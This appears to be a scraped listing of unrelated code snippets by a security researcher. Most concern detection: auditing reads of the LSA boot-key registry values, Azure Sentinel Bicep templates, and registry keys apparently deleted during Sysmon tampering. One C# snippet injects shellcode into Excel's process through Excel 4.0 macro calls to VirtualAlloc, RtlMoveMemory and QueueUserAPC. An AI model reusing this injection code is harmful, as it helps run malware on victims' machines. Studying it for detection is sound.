Cyb3rWard0g

# Download https://github.com/OTRF/Set-AuditRule/blob/master/Set-AuditRule.ps1

Import-Module .\Set-AuditRule.ps1

$AuditRules = @"
"HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\JD";"Authenticated Users";"QueryValues";"None";"None";"Success"
"HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Skew1";"Authenticated Users";"QueryValues";"None";"None";"Success"
"HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\GBG";"Authenticated Users";"QueryValues";"None";"None";"Success"
"HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Data";"Authenticated Users";"QueryValues";"None";"None";"Success"
"@

Cyb3rWard0g

var memaddr = Convert.ToDouble(excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { "CALL(\\"Kernel32\\",\\"VirtualAlloc\\",\\"JJJJJ\\"," + lpAddress + "," + shellcode.Length + ",4096,64)" }));
var startaddr = memaddr;

foreach (var b in shellcode) {
	var cb = String.Format("CHAR({0})", b);
	var macrocode = "CALL(\\"Kernel32\\",\\"RtlMoveMemory\\",\\"JJCJ\\"," + memaddr + "," + cb + ",1)";
	excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { macrocode });
	memaddr++;
}
excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { "CALL(\\"Kernel32\\",\\"QueueUserAPC\\",\\"JJJJ\\"," + startaddr + ", -2, 0)" });

Cyb3rWard0g

param utcValue string {
    default: utcNow()
    metadata: {
        description: 'Returns the current (UTC) datetime value in the specified format. If no format is provided, the ISO 8601 (yyyyMMddTHHmmssZ) format is used'
    }
}
param workspaceName string {
    metadata: {
        description: 'Name for the Log Analytics workspace used to aggregate data.'
    }

Cyb3rWard0g

output workspaceNameOutput string = uniqueWorkspace
output workspaceIdOutput string = reference(workspace.id, workspace.apiVersion).customerId
output workspacekeyOutput string = listKeys(workspace.id, workspace.apiVersion).primarySharedKey

Cyb3rWard0g

param utcValue string {
    default: utcNow()
    metadata: {
        description: 'Returns the current (UTC) datetime value in the specified format. If no format is provided, the ISO 8601 (yyyyMMddTHHmmssZ) format is used'
    }
}
param workspaceName string {
    metadata: {
        description: 'Name for the Log Analytics workspace used to aggregate data.'
    }

Cyb3rWard0g

resource azureSentinel 'Microsoft.OperationsManagement/solutions@2015-11-01-preview' = {
    name: concat('SecurityInsights(',workspace.name,')') // Implicit Dependency
    location: 'eastus'
    properties: {
        workspaceResourceId: workspace.id
    }
    plan: {
        name: concat('SecurityInsights(',workspace.name,')') // Implicit Dependency
        product: 'OMSGallery/SecurityInsights'
        publisher: 'Microsoft'

Cyb3rWard0g

resource workspace 'Microsoft.OperationalInsights/workspaces@2020-03-01-preview' = {
  name: 'UniqueWorkspaceName' // must be globally unique
  location: 'eastus'
  properties: {
    sku: {
        name: 'PerGB2018'
    }
    retentionInDays: 30
    features: {
        immediatePurgeDataOn30Days: true

Cyb3rWard0g

using System;
using System.Net;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.IO.Pipes;
using System.Reflection;
using System.Collections.Generic;
using System.Security.Cryptography;

Cyb3rWard0g

Registry keys Deleted (Apparently)

• HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Operational{5770385f-c22a-43e0-bf4c-06f5698ffbd9}
• HKLM\System\CurrentControlSet\Control\WMI\Security\08dd09cd-9050-5a49-02f8-46fd443360a8
• HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Operational
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\ChannelReferences\0
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\ChannelReferences
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers{5770385f-c22a-43e0-bf4c-06f5698ffbd9}

Cyb3rWard0g

{{renderquery['id']}}

Data Sources

{% for d in renderquery['data_sources'] %}* {{d}}
{% endfor %}

Logic

{{renderquery['logic']}}